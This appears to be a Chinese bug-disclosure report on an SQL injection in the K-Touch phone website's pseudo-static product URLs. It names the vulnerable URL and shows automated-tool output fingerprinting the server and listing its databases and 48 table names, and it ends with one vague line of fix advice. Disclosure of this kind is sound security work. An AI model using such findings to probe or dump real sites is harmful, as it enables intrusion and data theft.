天宇手机官网伪静态SQL注入漏洞
测试URL http://www.k-touch.cn/product/condetail/prod_id/123.html
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0
back-end DBMS: MySQL 5.0
available databases [5]:
[*] donglonghai
[*] information_schema
[*] mysql
[*] qiangguo
[*] renshe
current database: 'renshe'
Database: renshe
[48 tables]
+-------------------+
| yan_access |
| yan_ad |
| yan_admin |
| yan_announce |
| yan_answer |
| yan_baoming |
| yan_bjcx |
| yan_bs |
| yan_bscategory |
| yan_bszn |
| yan_bszncategory |
| yan_case |
| yan_casecategory |
| yan_category |
| yan_city |
| yan_cx |
| yan_cxcategory |
| yan_downcategory |
| yan_download |
| yan_gk |
| yan_gkcategory |
| yan_goodscategory |
| yan_guanggao |
| yan_hdjl |
| yan_jgxx |
| yan_jianli |
| yan_link |
| yan_member |
| yan_msg |
| yan_news |
| yan_node |
| yan_one |
| yan_onecategory |
| yan_page |
| yan_province |
| yan_role |
| yan_role_user |
| yan_sound |
| yan_special |
| yan_ticket |
| yan_toupiao |
| yan_type |
| yan_user |
| yan_xwzx |
| yan_xwzxcategory |
| yan_zcfg |
| yan_zxtype |
| yan_zxzx |
+-------------------+
很多敏感表,昨天测试了,未脱裤。
修复方案:
过滤吧。
版权与免责声明:
凡注明稿件来源的内容均为转载稿或由网友用户注册发布,本网转载出于传递更多信息的目的;如转载稿涉及版权问题,请作者联系我们,同时对于用户评论等信息,本网并不意味着赞同其观点或证实其内容的真实性;